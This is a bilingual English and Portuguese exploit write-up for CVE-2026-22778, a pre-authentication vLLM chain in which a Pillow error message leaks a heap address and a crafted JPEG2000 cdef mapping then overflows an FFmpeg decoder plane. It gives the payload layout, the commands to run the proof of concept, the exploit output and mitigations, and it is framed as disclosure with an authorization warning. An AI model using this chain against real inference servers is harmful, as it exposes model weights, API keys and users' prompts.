joaovicdev
exploitexploitCVE-2026-22778

CVE-2026-22778: vLLM unauthenticated RCE — heap leak → JPEG2000 overflowCVE-2026-22778: RCE não autenticada no vLLM — vazamento de heap → overflow no JPEG2000

A pre-auth memory-corruption chain in vLLM's multimodal ingestion: a Pillow error message leaks a heap address to defeat ASLR, then a crafted JPEG2000 cdef box overflows a subsampled plane in the bundled FFmpeg decoder.Uma cadeia de corrupção de memória pré-autenticação na ingestão multimodal do vLLM: uma mensagem de erro do Pillow vaza um endereço de heap para derrotar o ASLR, e então uma caixa cdef de JPEG2000 forjada estoura um plano subamostrado no decodificador FFmpeg embutido.

Proof of concept on GitHubProva de conceito no GitHub

Authorization: the lab in this repo is deliberately vulnerable and binds the server to loopback on purpose. Run it only on machines you own, and point the exploit only at targets you have explicit written permission to test. Anything else is likely a crime.

Summary

CVE-2026-22778 is an unauthenticated remote code execution chain in vLLM, the high-throughput serving engine for LLMs, on deployments that serve video-capable multimodal models. It is CVSS 9.8 and reachable with no credentials and no user interaction.

Unlike most of the AI-stack RCEs of this year, there is no eval and no deserialization gadget here — this one is memory corruption. Two ordinary HTTP requests to the OpenAI-compatible API compose it:

  1. A malformed image makes Pillow raise an error whose text contains a live heap address, and vLLM hands that error straight back to the caller. ASLR is defeated.
  2. A crafted JPEG2000 file drives the JPEG2000 decoder in the bundled FFmpeg (via opencv-python-headless) to write a full-resolution component into a subsampled plane — a heap buffer overflow.

The overflow itself is CVE-2025-9951, an FFmpeg bug; CVE-2026-22778 is the report that this decoder is reachable pre-auth through vLLM's video ingestion, and that vLLM's own error handler leaks the address you need to weaponize it.

ProductvLLM (video-serving multimodal deployments)
Affected0.8.3 – 0.14.0
Fixed in0.14.1
CVSS 3.19.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Underlying overflowCVE-2025-9951 (FFmpeg JPEG2000 decoder)

Impact

PreconditionRequired?
Valid credentialsNo
User interactionNo
Network reachability to the vLLM HTTP portYes
A video-capable multimodal model servedYes
Outbound fetch or inline media acceptedYes — the default ingestion path

A corrupted heap in the inference process means control over the address space that holds the model weights, the provider API keys, and every in-flight prompt and completion on the instance. The PoC in this repo drives the primitive to a confirmed out-of-bounds write and a worker crash; it deliberately stops short of the heap grooming and function-pointer overwrite that turn the write into a shell.

How the chain works

Stage 1 — a heap address for free

vLLM decodes uploaded images through Pillow. When Pillow cannot identify a buffer, the exception it raises embeds the repr() of the BytesIO object — which includes its address in memory. vLLM's error handler serializes that message back to the client verbatim:

HTTP 400 from /v1/chat/completions
cannot identify image file <_io.BytesIO object at 0xffff8f555300>

That one string collapses heap ASLR from ~32 bits of entropy to about 3 — enough to know where the target chunk will land relative to the leaked object.

Stage 2 — an overflow inside the JPEG2000 decoder

A video URL (or inline frame) is fetched and handed to OpenCV/FFmpeg. The JPEG2000 decoder reads plane assignments from the file's component-definition (cdef) box without checking that the destination plane can hold the source component. In a 4:2:0 frame the chroma planes are quarter-size, so remapping a full-resolution component onto a subsampled plane writes far past its end:

the cdef remap
150x64 yuv420p frame
component 0 (150x64 = 9600 bytes)  ->  plane 1 (75x32 = 2400 bytes)
                                        7200-byte overflow into the next heap chunk

The adjacent chunk holds function pointers; combined with the Stage 1 leak, the write becomes targeted. The lab confirms corruption the honest way — the worker dies with corrupted size vs. prev_size and restarts under a new boot_id.

Proof of concept

exploit.py is pure standard-library Python. It runs Stage 1, scrapes the address out of the 400 response, then builds a 203-byte JP2 whose cdef box carries the malicious mapping and posts it:

the payload
203 bytes, 150x64 yuv420p JP2
cdef: cn=0, typ=0, asoc=2   ->   component 0 written into plane 1
coefficient data left empty — the frame is still allocated, and the OOB write still fires

Run it

Prerequisites: Docker + Docker Compose and Python 3.8+ (standard library only — no pip install).

1. Bring up the vulnerable lab — a minimal vLLM reimplementation of the two vulnerable code paths, published only on loopback:

docker compose up -d --build
curl -fs http://127.0.0.1:8000/health && echo OK

2. Run the chain:

python3 exploit.py --target http://127.0.0.1:8000
[*] Stage 1 -- heap address disclosure via PIL error message
    HTTP 400
    cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
    ASLR bypassed: the heap base is now known to ~3 bits of entropy.
 
[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
    Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
    Payload: 203 bytes, 150x64 yuv420p JP2
    cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane
    Request never completed: Remote end closed connection without response
[+] Worker was killed and restarted
[+] Out-of-bounds write confirmed.

Flags: --target (defaults to http://localhost:8000), --serve (deliver the payload over HTTP instead of inline), --write-payload evil.jp2 (dump the crafted JP2 to disk instead of sending it).

Tear down with docker compose down.

Mitigation

  • Upgrade to vLLM 0.14.1 or later. The fix strips memory addresses from error messages and upgrades opencv-python-headless to >= 4.13.0, whose FFmpeg rejects non-permutation cdef mappings.
  • If you cannot upgrade, disable video model serving, put authentication in front of the API, and restrict outbound fetches with --allowed-media-domains.
  • Never expose an inference endpoint directly to the internet.

References

Autorização: o lab deste repositório é propositalmente vulnerável e amarra o servidor em loopback de propósito. Rode apenas em máquinas que você possui, e aponte o exploit apenas para alvos para os quais você tem permissão explícita por escrito. Qualquer outra coisa provavelmente é crime.

Resumo

A CVE-2026-22778 é uma cadeia de execução remota de código não autenticada no vLLM, o motor de serving de alto throughput para LLMs, em deploys que servem modelos multimodais com suporte a vídeo. É CVSS 9.8 e alcançável sem credenciais e sem interação do usuário.

Diferente da maioria das RCEs da stack de IA deste ano, aqui não há eval nem gadget de desserialização — esta é corrupção de memória. Duas requisições HTTP comuns à API compatível com a OpenAI a compõem:

  1. Uma imagem malformada faz o Pillow lançar um erro cujo texto contém um endereço de heap vivo, e o vLLM devolve esse erro direto ao chamador. O ASLR é derrotado.
  2. Um arquivo JPEG2000 forjado leva o decodificador de JPEG2000 do FFmpeg embutido (via opencv-python-headless) a escrever um componente em resolução plena dentro de um plano subamostrado — um heap buffer overflow.

O overflow em si é a CVE-2025-9951, um bug do FFmpeg; a CVE-2026-22778 é o relatório de que esse decodificador é alcançável pré-autenticação pela ingestão de vídeo do vLLM, e de que o próprio tratador de erros do vLLM vaza o endereço necessário para transformá-lo em arma.

ProdutovLLM (deploys multimodais com vídeo)
Afetadas0.8.3 – 0.14.0
Corrigido em0.14.1
CVSS 3.19.8 Crítica — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Overflow subjacenteCVE-2025-9951 (decodificador JPEG2000 do FFmpeg)

Impacto

Pré-condiçãoNecessária?
Credenciais válidasNão
Interação do usuárioNão
Alcance de rede até a porta HTTP do vLLMSim
Um modelo multimodal com suporte a vídeo servidoSim
Fetch externo ou mídia inline aceitaSim — é o caminho padrão de ingestão

Um heap corrompido no processo de inferência significa controle sobre o espaço de endereçamento que guarda os pesos do modelo, as API keys dos provedores e todo prompt e completion em andamento na instância. A PoC deste repositório leva a primitiva a uma escrita fora dos limites confirmada e a um crash do worker; ela para de propósito antes do heap grooming e da sobrescrita de ponteiro de função que transformariam a escrita em um shell.

Como a cadeia funciona

Estágio 1 — um endereço de heap de graça

O vLLM decodifica imagens enviadas através do Pillow. Quando o Pillow não consegue identificar um buffer, a exceção que ele lança embute o repr() do objeto BytesIO — que inclui o endereço dele na memória. O tratador de erros do vLLM serializa essa mensagem de volta ao cliente na íntegra:

HTTP 400 de /v1/chat/completions
cannot identify image file <_io.BytesIO object at 0xffff8f555300>

Essa única string reduz o ASLR do heap de ~32 bits de entropia para cerca de 3 — o bastante para saber onde o chunk alvo vai cair em relação ao objeto vazado.

Estágio 2 — um overflow dentro do decodificador de JPEG2000

Uma URL de vídeo (ou um frame inline) é buscada e entregue ao OpenCV/FFmpeg. O decodificador de JPEG2000 lê as atribuições de plano da caixa de definição de componentes (cdef) do arquivo sem checar que o plano de destino comporta o componente de origem. Em um frame 4:2:0 os planos de croma têm um quarto do tamanho, então remapear um componente em resolução plena para um plano subamostrado escreve muito além do fim dele:

o remap do cdef
frame 150x64 yuv420p
componente 0 (150x64 = 9600 bytes)  ->  plano 1 (75x32 = 2400 bytes)
                                         overflow de 7200 bytes no próximo chunk do heap

O chunk adjacente guarda ponteiros de função; combinada com o vazamento do Estágio 1, a escrita fica direcionada. O lab confirma a corrupção do jeito honesto — o worker morre com corrupted size vs. prev_size e reinicia sob um novo boot_id.

Prova de conceito

O exploit.py é Python puro de biblioteca padrão. Ele roda o Estágio 1, extrai o endereço da resposta 400, então monta um JP2 de 203 bytes cuja caixa cdef carrega o mapeamento malicioso e o envia:

o payload
203 bytes, JP2 150x64 yuv420p
cdef: cn=0, typ=0, asoc=2   ->   componente 0 escrito no plano 1
dados de coeficiente vazios — o frame ainda é alocado, e a escrita fora dos limites ainda dispara

Rodando o lab

Pré-requisitos: Docker + Docker Compose e Python 3.8+ (somente biblioteca padrão — sem pip install).

1. Suba o lab vulnerável — uma reimplementação mínima do vLLM com os dois caminhos de código vulneráveis, publicado apenas em loopback:

docker compose up -d --build
curl -fs http://127.0.0.1:8000/health && echo OK

2. Rode a cadeia:

python3 exploit.py --target http://127.0.0.1:8000
[*] Stage 1 -- heap address disclosure via PIL error message
    HTTP 400
    cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
    ASLR bypassed: the heap base is now known to ~3 bits of entropy.
 
[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
    Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
    Payload: 203 bytes, 150x64 yuv420p JP2
    cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane
    Request never completed: Remote end closed connection without response
[+] Worker was killed and restarted
[+] Out-of-bounds write confirmed.

Flags: --target (padrão http://localhost:8000), --serve (entrega o payload via HTTP em vez de inline), --write-payload evil.jp2 (grava o JP2 forjado em disco em vez de enviá-lo).

Derrube o ambiente com docker compose down.

Mitigação

  • Atualize para o vLLM 0.14.1 ou superior. A correção remove endereços de memória das mensagens de erro e atualiza o opencv-python-headless para >= 4.13.0, cujo FFmpeg rejeita mapeamentos cdef que não são permutações.
  • Se não puder atualizar, desabilite o serving de modelos de vídeo, coloque autenticação na frente da API e restrinja os fetches externos com --allowed-media-domains.
  • Nunca exponha um endpoint de inferência diretamente na internet.

Referências